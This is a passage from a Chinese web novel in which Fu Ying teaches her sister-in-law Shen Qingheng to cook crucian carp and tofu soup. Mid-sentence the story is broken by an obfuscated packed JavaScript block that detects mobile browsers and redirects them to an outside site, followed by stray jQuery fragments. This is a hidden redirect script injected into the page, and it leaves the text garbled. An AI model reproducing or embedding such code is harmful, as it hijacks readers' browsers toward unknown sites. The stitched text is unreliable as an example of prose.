要用姜擦锅啊？”
傅媖：“和直接放进鱼汤一样，也是为了去腥。”
沈清蘅用力点点头，认真记下。
果然跟在嫂嫂身边能学到不少东西，照这么下去，说不定有朝一日她也能成为一个做饭高手！
油渐渐烧热，升腾起丝丝缕缕的白烟，傅媖用手背试了试油温，刚刚好，于是抓起片好的鱼片，沉声提醒：“清蘅，你离远些，别被油溅到。”
小姑娘细皮嫩肉的，被油花溅一下会疼得哭出来也说不定。
沈清蘅才下意识退后了一步，抬头便见那些鱼片顺畅地滑入锅中，发出“呲呲”声，声音剧烈，她多少有些害怕，可转头看一眼傅媖，却发现她神色平静，好似习以为常，不由咂咂嘴。
嫂嫂可真厉害啊。
橘红的火焰在灶膛中跳动，灶火烧得旺，很快，锅里白嫩的鱼片渐渐被一层诱人的金黄覆盖，浓郁的香气在空气中逸散开来。
傅媖仔细盯着成色，不忘适时翻炒。很快，锅里的鱼片都煎得通体金黄，鲜香四溢。
沈清蘅胃里的馋虫彻底被勾起来了，忍不住吞咽了下口水。
傅媖转头看她一眼，笑着说：“不急，还没完呢。”
说完她从水盂里舀出整整三瓢水倒进锅里，又将自己先前切好的豆腐和葱段姜丝一齐丢进锅里。
做完这些，她又指一指灶膛，“别忘了添柴火，要不了一会儿就可以出锅了。”
言罢，也忍不住弯了弯唇角。
她对这鱼汤也期待的很。
从河里捞上来的新鲜鲫鱼，孙巧儿自家磨坊里做的嫩豆腐，再加上这烧柴火的土灶。她都不敢想这锅鱼汤烧出来会有多鲜美。
沈清蘅恍然，立刻听话地又去取了些柴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14262647|148434||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
火蹲下添柴。
约莫一炷香后，她看着锅里颜色渐渐变得像牛乳般纯白浓郁的鱼汤，转过头一脸期待地望向傅媖。
傅媖没有说话，抓起一把盐撒进锅里，别的都不加，然后拍了怕手抖掉手中残存的盐粒，笑着说：“好了，出锅。”
小娘子那双杏眼顿时变得晶亮：“太好了！嫂嫂，我敢说这绝对会是我喝到的最好喝的汤！”
傅媖被她雀跃又夸张的模样逗笑，嗔她一眼：“你又知道！”
*
傅媖把鱼汤盛出锅的功夫，沈清蘅跑出去拿了一趟水井里镇的那壶豆儿汤。
水筲取回来，傅媖拿出里面的铜壶，壶口极窄，壶身又长，汤还稳稳当当地盛在里面，半点儿没洒。
沈清蘅眼馋，央着她要一碗，傅媖似笑非笑地看着她：“现下喝饱了，一会儿肚子里可没地儿盛鱼汤了，你可得想好喽。”
这话一出，给小娘子纠结得袖口都绞成了麻花，最后还是恋恋不舍地看一眼那铜壶，不情不愿地道：“那好吧，等我吃过了饭再来尝它。”
傅媖不知她对豆儿汤的执念出